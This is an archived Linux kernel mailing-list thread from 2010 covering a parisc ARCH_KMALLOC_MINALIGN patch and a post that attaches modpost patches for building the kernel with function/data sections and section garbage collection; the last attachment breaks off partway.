-#define L1_CACHE_ALIGN(x)       (((x)+(L1_CACHE_BYTES-1))&~(L1_CACHE_BYTES-1))
-
 #define SMP_CACHE_BYTES L1_CACHE_BYTES
 
 #define __read_mostly __attribute__((__section__(".data..read_mostly")))
-- 
1.6.5


From - Thu Nov 08 21:06:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: set ARCH_KMALLOC_MINALIGN
Date: Tue, 29 Jun 2010 10:07:27 -0400
Lines: 59
Approved: news@gmane.org
Message-ID: <AANLkTikiJJ5G4Jy9sd644hpAljWFN_xvUJmpDZhxGf2x@mail.gmail.com>
References: <20100629154801C.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1277820458 1083 80.91.229.12 (29 Jun 2010 14:07:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 29 Jun 2010 14:07:38 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, kyle@mcmartin.ca, deller@gmx.de,
	jejb@parisc-linux.org, linux-kernel@vger.kernel.org
To: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 29 16:07:34 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OTbTG-0006cG-30
	for glpp-linux-parisc@lo.gmane.org; Tue, 29 Jun 2010 16:07:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753731Ab0F2OH3 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Jun 2010 10:07:29 -0400
Original-Received: from mail-px0-f174.google.com ([209.85.212.174]:62049 "EHLO
	mail-px0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752648Ab0F2OH2 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Jun 2010 10:07:28 -0400
Original-Received: by pxi8 with SMTP id 8so2329633pxi.19
        for <multiple recipients>; Tue, 29 Jun 2010 07:07:28 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:received:in-reply-to
         :references:date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=qUAk2LTSSF6Rz26cDqx3LyXKzWp9DhFcoE/emKQWkM4=;
        b=R20CUvb1WT9vtquSPR/NFNh9Wf7qC4j4P9C2kTCigdoB6150E9oOzdMG8jXVwdXIRG
         Cqa14E1PdzoKSHlu2awA3uSNjAXyF+giDe+l/gWzkZO+4trbqb+s22E6cmlIsqksqfxY
         mLftPKHukMoOpcPKldfJ2fiHblWwr6j1aQJGY=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=RMXk5sUn+I8OOK5NQ1g7p05lioNLk06JOFrGC1/vAcYarFRdiUHNpUn1HZKc7yCg+1
         7ZdDE5DDxZ8j/EmjNs6Cu5GQPrSM5GlufKDPzP+4Wz+BhqKTfxmnETLVUbvpTsHd49KL
         MVBoQ5ve87wzX6wv6sOYZRwGVF+iADKuPWOEo=
Original-Received: by 10.115.99.2 with SMTP id b2mr7512775wam.131.1277820447854; Tue, 
	29 Jun 2010 07:07:27 -0700 (PDT)
Original-Received: by 10.114.93.11 with HTTP; Tue, 29 Jun 2010 07:07:27 -0700 (PDT)
In-Reply-To: <20100629154801C.fujita.tomonori@lab.ntt.co.jp>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2985 gmane.linux.kernel:1004006
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2985>

On Tue, Jun 29, 2010 at 2:50 AM, FUJITA Tomonori
<fujita.tomonori@lab.ntt.co.jp> wrote:
> This is a resend:
>
> http://marc.info/?t=3D127432584100006&r=3D1&w=3D2
>
> I thought that it was merged but seems that it was lost somewhere?
>
> =3D
> From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
> Subject: [PATCH] parisc: set ARCH_KMALLOC_MINALIGN
>
> Architectures that handle DMA-non-coherent memory need to set
> ARCH_KMALLOC_MINALIGN to make sure that kmalloc'ed buffer is DMA-safe=
:
> the buffer doesn't share a cache with the others.
>
> Signed-off-by: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
> Cc: Kyle McMartin <kyle@mcmartin.ca>
> Cc: Helge Deller <deller@gmx.de>
> Cc: James E.J. Bottomley <jejb@parisc-linux.org>
> Cc: stable@kernel.org
> ---
> =A0arch/parisc/include/asm/cache.h | =A0 =A02 ++
> =A01 files changed, 2 insertions(+), 0 deletions(-)
>
> diff --git a/arch/parisc/include/asm/cache.h b/arch/parisc/include/as=
m/cache.h
> index 45effe6..5d87f27 100644
> --- a/arch/parisc/include/asm/cache.h
> +++ b/arch/parisc/include/asm/cache.h
> @@ -22,6 +22,8 @@
> =A0#define L1_CACHE_SHIFT 5
> =A0#endif
>
> +#define ARCH_KMALLOC_MINALIGN =A0L1_CACHE_BYTES
> +
> =A0#ifndef __ASSEMBLY__
>
> =A0#define L1_CACHE_ALIGN(x) =A0 =A0 =A0 (((x)+(L1_CACHE_BYTES-1))&~(=
L1_CACHE_BYTES-1))

Looks like you can send a patch to kill L1_CACHE_ALIGN too. :)

> --
> 1.6.5
>
> --
> To unsubscribe from this list: send the line "unsubscribe linux-paris=
c" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at =A0http://vger.kernel.org/majordomo-info.html
>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: set ARCH_KMALLOC_MINALIGN
Date: Tue, 29 Jun 2010 10:08:10 -0400
Lines: 64
Approved: news@gmane.org
Message-ID: <AANLkTilNroeXmUvGscs_bQXyLcLttgYAEl6QtBsAuzlc@mail.gmail.com>
References: <20100629154801C.fujita.tomonori@lab.ntt.co.jp>
	<AANLkTikiJJ5G4Jy9sd644hpAljWFN_xvUJmpDZhxGf2x@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1277820501 1356 80.91.229.12 (29 Jun 2010 14:08:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 29 Jun 2010 14:08:21 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, kyle@mcmartin.ca, deller@gmx.de,
	jejb@parisc-linux.org, linux-kernel@vger.kernel.org
To: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 29 16:08:18 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OTbTy-00070i-TC
	for glpp-linux-parisc@lo.gmane.org; Tue, 29 Jun 2010 16:08:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754795Ab0F2OIO convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Jun 2010 10:08:14 -0400
Original-Received: from mail-pw0-f46.google.com ([209.85.160.46]:64330 "EHLO
	mail-pw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754509Ab0F2OIN convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Jun 2010 10:08:13 -0400
Original-Received: by pwj8 with SMTP id 8so3846806pwj.19
        for <multiple recipients>; Tue, 29 Jun 2010 07:08:11 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:received:in-reply-to
         :references:date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=sjkaV+MOmx5ML4xNo8UEaqpdFIIJArYSTaz2TextesE=;
        b=LRB3sW5/FaadPRDjKGZMS5llpodC8bGfT4nInOqXJJpUqdQy51fez2diW392Jqy3M2
         4g84eP8G4xERJHGfPd+HMrTn2xx/Lhj7kU/tiLUIs7+O7PGFSEcv6Jh3kcDAcrsvx/Gg
         bLwiSvBr7wdVvpCila49bYPyw7CxATMfAOUfo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=woqZVIKOnh7V5mfujtp+t9t8Pt8hwXl/OZaDSs0FJW5W9/6btyL+IOBZSis5Aswq9C
         Tld1sVyz+spkMNpy2z8gDuUJst7iaNi2Vv+ZPT8QgxBReuMmbF+U6NAIIN1ER8fdKO9b
         oSuBRVQqBvpW8/R0mZx30kOddlaZukfKPPobM=
Original-Received: by 10.114.54.28 with SMTP id c28mr7516759waa.169.1277820490816; Tue, 
	29 Jun 2010 07:08:10 -0700 (PDT)
Original-Received: by 10.114.93.11 with HTTP; Tue, 29 Jun 2010 07:08:10 -0700 (PDT)
In-Reply-To: <AANLkTikiJJ5G4Jy9sd644hpAljWFN_xvUJmpDZhxGf2x@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2986 gmane.linux.kernel:1004007
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2986>

On Tue, Jun 29, 2010 at 10:07 AM, Matt Turner <mattst88@gmail.com> wrot=
e:
> On Tue, Jun 29, 2010 at 2:50 AM, FUJITA Tomonori
> <fujita.tomonori@lab.ntt.co.jp> wrote:
>> This is a resend:
>>
>> http://marc.info/?t=3D127432584100006&r=3D1&w=3D2
>>
>> I thought that it was merged but seems that it was lost somewhere?
>>
>> =3D
>> From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
>> Subject: [PATCH] parisc: set ARCH_KMALLOC_MINALIGN
>>
>> Architectures that handle DMA-non-coherent memory need to set
>> ARCH_KMALLOC_MINALIGN to make sure that kmalloc'ed buffer is DMA-saf=
e:
>> the buffer doesn't share a cache with the others.
>>
>> Signed-off-by: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
>> Cc: Kyle McMartin <kyle@mcmartin.ca>
>> Cc: Helge Deller <deller@gmx.de>
>> Cc: James E.J. Bottomley <jejb@parisc-linux.org>
>> Cc: stable@kernel.org
>> ---
>> =A0arch/parisc/include/asm/cache.h | =A0 =A02 ++
>> =A01 files changed, 2 insertions(+), 0 deletions(-)
>>
>> diff --git a/arch/parisc/include/asm/cache.h b/arch/parisc/include/a=
sm/cache.h
>> index 45effe6..5d87f27 100644
>> --- a/arch/parisc/include/asm/cache.h
>> +++ b/arch/parisc/include/asm/cache.h
>> @@ -22,6 +22,8 @@
>> =A0#define L1_CACHE_SHIFT 5
>> =A0#endif
>>
>> +#define ARCH_KMALLOC_MINALIGN =A0L1_CACHE_BYTES
>> +
>> =A0#ifndef __ASSEMBLY__
>>
>> =A0#define L1_CACHE_ALIGN(x) =A0 =A0 =A0 (((x)+(L1_CACHE_BYTES-1))&~=
(L1_CACHE_BYTES-1))
>
> Looks like you can send a patch to kill L1_CACHE_ALIGN too. :)

Doh! I see you already did.

>> --
>> 1.6.5
>>
>> --
>> To unsubscribe from this list: send the line "unsubscribe linux-pari=
sc" in
>> the body of a message to majordomo@vger.kernel.org
>> More majordomo info at =A0http://vger.kernel.org/majordomo-info.html
>>
>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Denys Vlasenko <vda.linux@googlemail.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Testing of function/data-sections on linux-2.6.35-rc4
Date: Sun, 18 Jul 2010 17:03:16 +0200
Lines: 1489
Approved: news@gmane.org
Message-ID: <201007181703.17022.vda.linux@googlemail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_1exQMv9z7xuz/lL"
X-Trace: dough.gmane.org 1279465424 19411 80.91.229.12 (18 Jul 2010 15:03:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 18 Jul 2010 15:03:44 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-kernel@vger.kernel.org,
	Matt Fleming <matt@console-pimps.org>,
	linux-arch@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>,
	Sam Ravnborg <sam@ravnborg.org>, Michal Marek <mmarek@suse.cz>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Tim Abbott <tabbott@ksplice.com>, Tim Bird <tim.bird@am.sony.com>
Original-X-From: linux-arch-owner@vger.kernel.org Sun Jul 18 17:03:39 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1OaVOw-0003tx-Az
	for glka-linux-arch@lo.gmane.org; Sun, 18 Jul 2010 17:03:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756315Ab0GRPDc (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Sun, 18 Jul 2010 11:03:32 -0400
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:64013 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756296Ab0GRPDa (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Sun, 18 Jul 2010 11:03:30 -0400
Original-Received: by fxm14 with SMTP id 14so1771049fxm.19
        for <multiple recipients>; Sun, 18 Jul 2010 08:03:26 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:subject:date
         :user-agent:cc:mime-version:content-type:message-id;
        bh=o8nsTcF1umdFzcik93bJI4BBPnCPM3rOeS/AN0i4p/U=;
        b=lFbDEzJdDlo45x/LFAElRbRwZwloqvGDx6Qu2Xn45EV30X5I/gKrPh/L3ihNyn10Mm
         OjuQVOTiqCRa1neA3PsatwBb3Uodxy80AqgacWfUw5rUoYzMKXb6+Wjog/42R2lUwjOF
         4d8NQqZD7m7H4RIa9V+BzzArPOYTXwp/8pMZk=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=googlemail.com; s=gamma;
        h=from:to:subject:date:user-agent:cc:mime-version:content-type
         :message-id;
        b=wbEOxicLG8eIFuyctHMYQ/r0+6tHhSvU+GHUOTykq03AkGo9MqPSCdCyLBlGrSbE4U
         eg0a2gp5zv5fPja4h+1CjY+pRT2zVLig5J7MhiSioAWkJMgg6aI0xKpmhwsoKyzVQy9H
         ORkaTEmbdXvb7CkpCch23Z8unuCenXKXNWhvU=
Original-Received: by 10.223.104.7 with SMTP id m7mr2654717fao.8.1279465406215;
        Sun, 18 Jul 2010 08:03:26 -0700 (PDT)
Original-Received: from shadow (221.47.broadband5.iol.cz [88.100.47.221])
        by mx.google.com with ESMTPS id k15sm1623016fai.40.2010.07.18.08.03.22
        (version=SSLv3 cipher=RC4-MD5);
        Sun, 18 Jul 2010 08:03:24 -0700 (PDT)
User-Agent: KMail/1.8.2
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:6993 gmane.linux.kernel:1011305 gmane.linux.ports.parisc:2988
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2988>

--Boundary-00=_1exQMv9z7xuz/lL
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hi Tim, Tim, folks,

Update on -ffunction-sections status:

I re-tested linux-2.6.35-rc4 today.

Most of work needed for -ffunction-sections -fdata-sections
is already in this kernel. This mail explains what is
still missing.

In order to have a working kernel with this make invocation:

	make KCFLAGS="-ffunction-sections -fdata-sections"

linux-2.6.35-rc4 needs three patches:

* modpost fix for 64k+ sections: linux-2.6.35-rc4-fs.modpost.patch
  This patch is in -mm, it still not reach mainline...

* fix for kernel linker stripts: linux-2.6.35-rc4-fs.fix-kernel-linker-scripts.patch
  It makes _all_ linker scripts -ffunction/data-sections safe via:
  -       *(.data)
  +       *(.data .data.*)
  
* fix for module linker script: linux-2.6.35-rc4-fs.fix-ko-module-linker-script.patch
  Prevents kernel modules from having unnecessarily many
  sections and thus prevents module size growth.


Then, in order to also garbage-collect the sections, I added

LDFLAGS_vmlinux += --gc-sections

in top-level Makefile.

This requires the additional patch (linux-2.6.35-rc4-fsgs.patch)
which adds KEEP(section) directives to kernel linker stripts.
Otherwise, linker will discard some crucial sections.


All four patches are attached.

I am sending this email from the machine which runs the kernel
built with -ffunction-sections -fdata-sections --gc-sections.

-- 
vda

--Boundary-00=_1exQMv9z7xuz/lL
Content-Type: text/x-diff;
  charset="us-ascii";
  name="linux-2.6.35-rc4-fs.modpost.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="linux-2.6.35-rc4-fs.modpost.patch"

--- linux-2.6.35-rc4/scripts/mod/file2alias.c
+++ linux-2.6.35-rc4-fs.obj1/scripts/mod/file2alias.c
@@ -884,16 +884,16 @@
 	char *zeros = NULL;
 
 	/* We're looking for a section relative symbol */
-	if (!sym->st_shndx || sym->st_shndx >= info->hdr->e_shnum)
+	if (!sym->st_shndx || get_secindex(info, sym) >= info->num_sections)
 		return;
 
 	/* Handle all-NULL symbols allocated into .bss */
-	if (info->sechdrs[sym->st_shndx].sh_type & SHT_NOBITS) {
+	if (info->sechdrs[get_secindex(info, sym)].sh_type & SHT_NOBITS) {
 		zeros = calloc(1, sym->st_size);
 		symval = zeros;
 	} else {
 		symval = (void *)info->hdr
-			+ info->sechdrs[sym->st_shndx].sh_offset
+			+ info->sechdrs[get_secindex(info, sym)].sh_offset
 			+ sym->st_value;
 	}
 
--- linux-2.6.35-rc4/scripts/mod/modpost.c
+++ linux-2.6.35-rc4-fs.obj1/scripts/mod/modpost.c
@@ -253,7 +253,7 @@
 	return export_unknown;
 }
 
-static enum export export_from_sec(struct elf_info *elf, Elf_Section sec)
+static enum export export_from_sec(struct elf_info *elf, unsigned int sec)
 {
 	if (sec == elf->export_sec)
 		return export_plain;
@@ -373,6 +373,8 @@
 	Elf_Ehdr *hdr;
 	Elf_Shdr *sechdrs;
 	Elf_Sym  *sym;
+	const char *secstrings;
+	unsigned int symtab_idx = ~0U, symtab_shndx_idx = ~0U;
 
 	hdr = grab_file(filename, &info->size);
 	if (!hdr) {
@@ -417,8 +419,19 @@
 		return 0;
 	}
 
+	/* Fixup for more than 64k sections */
+	info->num_sections = hdr->e_shnum;
+	if (info->num_sections == 0) { /* more than 64k sections? */
+		/* note: it doesn't need shndx2secindex() */
+		info->num_sections = TO_NATIVE(sechdrs[0].sh_size);
+	}
+	info->secindex_strings = hdr->e_shstrndx;
+	if (info->secindex_strings == SHN_XINDEX)
+		info->secindex_strings =
+		    shndx2secindex(TO_NATIVE(sechdrs[0].sh_link));
+
 	/* Fix endianness in section headers */
-	for (i = 0; i < hdr->e_shnum; i++) {
+	for (i = 0; i < info->num_sections; i++) {
 		sechdrs[i].sh_name      = TO_NATIVE(sechdrs[i].sh_name);
 		sechdrs[i].sh_type      = TO_NATIVE(sechdrs[i].sh_type);
 		sechdrs[i].sh_flags     = TO_NATIVE(sechdrs[i].sh_flags);
@@ -431,9 +444,8 @@
 		sechdrs[i].sh_entsize   = TO_NATIVE(sechdrs[i].sh_entsize);
 	}
 	/* Find symbol table. */
-	for (i = 1; i < hdr->e_shnum; i++) {
-		const char *secstrings
-			= (void *)hdr + sechdrs[hdr->e_shstrndx].sh_offset;
+	secstrings = (void *)hdr + sechdrs[info->secindex_strings].sh_offset;
+	for (i = 1; i < info->num_sections; i++) {
 		const char *secname;
 		int nobits = sechdrs[i].sh_type == SHT_NOBITS;
 
@@ -461,14 +473,26 @@
 		else if (strcmp(secname, "__ksymtab_gpl_future") == 0)
 			info->export_gpl_future_sec = i;
 
-		if (sechdrs[i].sh_type != SHT_SYMTAB)
-			continue;
+		if (sechdrs[i].sh_type == SHT_SYMTAB) {
+			unsigned int sh_link_idx;
+			symtab_idx = i;
+			info->symtab_start = (void *)hdr +
+			    sechdrs[i].sh_offset;
+			info->symtab_stop  = (void *)hdr +
+			    sechdrs[i].sh_offset + sechdrs[i].sh_size;
+			sh_link_idx = shndx2secindex(sechdrs[i].sh_link);
+			info->strtab       = (void *)hdr +
+			    sechdrs[sh_link_idx].sh_offset;
+		}
 
-		info->symtab_start = (void *)hdr + sechdrs[i].sh_offset;
-		info->symtab_stop  = (void *)hdr + sechdrs[i].sh_offset
-			                         + sechdrs[i].sh_size;
-		info->strtab       = (void *)hdr +
-			             sechdrs[sechdrs[i].sh_link].sh_offset;
+		/* 32bit section no. table? ("more than 64k sections") */
+		if (sechdrs[i].sh_type == SHT_SYMTAB_SHNDX) {
+			symtab_shndx_idx = i;
+			info->symtab_shndx_start = (void *)hdr +
+			    sechdrs[i].sh_offset;
+			info->symtab_shndx_stop  = (void *)hdr +
+			    sechdrs[i].sh_offset + sechdrs[i].sh_size;
+		}
 	}
 	if (!info->symtab_start)
 		fatal("%s has no symtab?\n", filename);
@@ -480,6 +504,21 @@
 		sym->st_value = TO_NATIVE(sym->st_value);
 		sym->st_size  = TO_NATIVE(sym->st_size);
 	}
+
+	if (symtab_shndx_idx != ~0U) {
+		Elf32_Word *p;
+		if (symtab_idx !=
+		    shndx2secindex(sechdrs[symtab_shndx_idx].sh_link))
+			fatal("%s: SYMTAB_SHNDX has bad sh_link: %u!=%u\n",
+			      filename,
+			      shndx2secindex(sechdrs[symtab_shndx_idx].sh_link),
+			      symtab_idx);
+		/* Fix endianness */
+		for (p = info->symtab_shndx_start; p < info->symtab_shndx_stop;
+		     p++)
+			*p = TO_NATIVE(*p);
+	}
+
 	return 1;
 }
 
@@ -514,7 +553,7 @@
 			       Elf_Sym *sym, const char *symname)
 {
 	unsigned int crc;
-	enum export export = export_from_sec(info, sym->st_shndx);
+	enum export export = export_from_sec(info, get_secindex(info, sym));
 
 	switch (sym->st_shndx) {
 	case SHN_COMMON:
@@ -656,19 +695,19 @@
 		return "(unknown)";
 }
 
-static const char *sec_name(struct elf_info *elf, int shndx)
+static const char *sec_name(struct elf_info *elf, int secindex)
 {
 	Elf_Shdr *sechdrs = elf->sechdrs;
 	return (void *)elf->hdr +
-	        elf->sechdrs[elf->hdr->e_shstrndx].sh_offset +
-	        sechdrs[shndx].sh_name;
+		elf->sechdrs[elf->secindex_strings].sh_offset +
+		sechdrs[secindex].sh_name;
 }
 
 static const char *sech_name(struct elf_info *elf, Elf_Shdr *sechdr)
 {
 	return (void *)elf->hdr +
-	        elf->sechdrs[elf->hdr->e_shstrndx].sh_offset +
-	        sechdr->sh_name;
+		elf->sechdrs[elf->secindex_strings].sh_offset +
+		sechdr->sh_name;
 }
 
 /* if sym is empty or point to a string
@@ -1047,11 +1086,14 @@
 	Elf_Sym *near = NULL;
 	Elf64_Sword distance = 20;
 	Elf64_Sword d;
+	unsigned int relsym_secindex;
 
 	if (relsym->st_name != 0)
 		return relsym;
+
+	relsym_secindex = get_secindex(elf, relsym);
 	for (sym = elf->symtab_start; sym < elf->symtab_stop; sym++) {
-		if (sym->st_shndx != relsym->st_shndx)
+		if (get_secindex(elf, sym) != relsym_secindex)
 			continue;
 		if (ELF_ST_TYPE(sym->st_info) == STT_SECTION)
 			continue;
@@ -1113,9 +1155,9 @@
 	for (sym = elf->symtab_start; sym < elf->symtab_stop; sym++) {
 		const char *symsec;
 
-		if (sym->st_shndx >= SHN_LORESERVE)
+		if (is_shndx_special(sym->st_shndx))
 			continue;
-		symsec = sec_name(elf, sym->st_shndx);
+		symsec = sec_name(elf, get_secindex(elf, sym));
 		if (strcmp(symsec, sec) != 0)
 			continue;
 		if (!is_valid_name(elf, sym))
@@ -1311,7 +1353,7 @@
 	const char *tosec;
 	const struct sectioncheck *mismatch;
 
-	tosec = sec_name(elf, sym->st_shndx);
+	tosec = sec_name(elf, get_secindex(elf, sym));
 	mismatch = section_mismatch(fromsec, tosec);
 	if (mismatch) {
 		Elf_Sym *to;
@@ -1339,7 +1381,7 @@
 				    Elf_Shdr *sechdr, Elf_Rela *r)
 {
 	Elf_Shdr *sechdrs = elf->sechdrs;
-	int section = sechdr->sh_info;
+	int section = shndx2secindex(sechdr->sh_info);
 
 	return (void *)elf->hdr + sechdrs[section].sh_offset +
 		r->r_offset - sechdrs[section].sh_addr;
@@ -1447,7 +1489,7 @@
 		r.r_addend = TO_NATIVE(rela->r_addend);
 		sym = elf->symtab_start + r_sym;
 		/* Skip special sections */
-		if (sym->st_shndx >= SHN_LORESERVE)
+		if (is_shndx_special(sym->st_shndx))
 			continue;
 		check_section_mismatch(modname, elf, &r, sym, fromsec);
 	}
@@ -1505,7 +1547,7 @@
 		}
 		sym = elf->symtab_start + r_sym;
 		/* Skip special sections */
-		if (sym->st_shndx >= SHN_LORESERVE)
+		if (is_shndx_special(sym->st_shndx))
 			continue;
 		check_section_mismatch(modname, elf, &r, sym, fromsec);
 	}
@@ -1530,7 +1572,7 @@
 	Elf_Shdr *sechdrs = elf->sechdrs;
 
 	/* Walk through all sections */
-	for (i = 0; i < elf->hdr->e_shnum; i++) {
+	for (i = 0; i < elf->num_sections; i++) {
 		check_section(modname, elf, &elf->sechdrs[i]);
 		/* We want to process only relocation sections and not .init */
 		if (sechdrs[i].sh_type == SHT_RELA)
--- linux-2.6.35-rc4/scripts/mod/modpost.h
+++ linux-2.6.35-rc4-fs.obj1/scripts/mod/modpost.h
@@ -129,7 +129,50 @@
 	const char   *strtab;
 	char	     *modinfo;
 	unsigned int modinfo_len;
+
+	/* support for 32bit section numbers */
+
+	unsigned int num_sections; /* max_secindex + 1 */
+	unsigned int secindex_strings;
+	/* if Nth symbol table entry has .st_shndx = SHN_XINDEX,
+	 * take shndx from symtab_shndx_start[N] instead */
+	Elf32_Word   *symtab_shndx_start;
+	Elf32_Word   *symtab_shndx_stop;
 };
+
+static inline int is_shndx_special(unsigned int i)
+{
+	return i != SHN_XINDEX && i >= SHN_LORESERVE && i <= SHN_HIRESERVE;
+}
+
+/* shndx is in [0..SHN_LORESERVE) U (SHN_HIRESERVE, 0xfffffff], thus:
+ * shndx == 0               <=> sechdrs[0]
+ * ......
+ * shndx == SHN_LORESERVE-1 <=> sechdrs[SHN_LORESERVE-1]
+ * shndx == SHN_HIRESERVE+1 <=> sechdrs[SHN_LORESERVE]
+ * shndx == SHN_HIRESERVE+2 <=> sechdrs[SHN_LORESERVE+1]
+ * ......
+ * fyi: sym->st_shndx is uint16, SHN_LORESERVE = ff00, SHN_HIRESERVE = ffff,
+ * so basically we map  0000..feff -> 0000..feff
+ *                      ff00..ffff -> (you are a bad boy, dont do it)
+ *                     10000..xxxx -> ff00..(xxxx-0x100)
+ */
+static inline unsigned int shndx2secindex(unsigned int i)
+{
+	if (i <= SHN_HIRESERVE)
+		return i;
+	return i - (SHN_HIRESERVE + 1 - SHN_LORESERVE);
+}
+
+/* Accessor for sym->st_shndx, hides ugliness of "64k sections" */
+static inline unsigned int get_secindex(const struct elf_info *info,
+					const Elf_Sym *sym)
+{
+	if (sym->st_shndx != SHN_XINDEX)
+		return sym->st_shndx;
+	return shndx2secindex(info->symtab_shndx_start[sym -
+						       info->symtab_start]);
+}
 
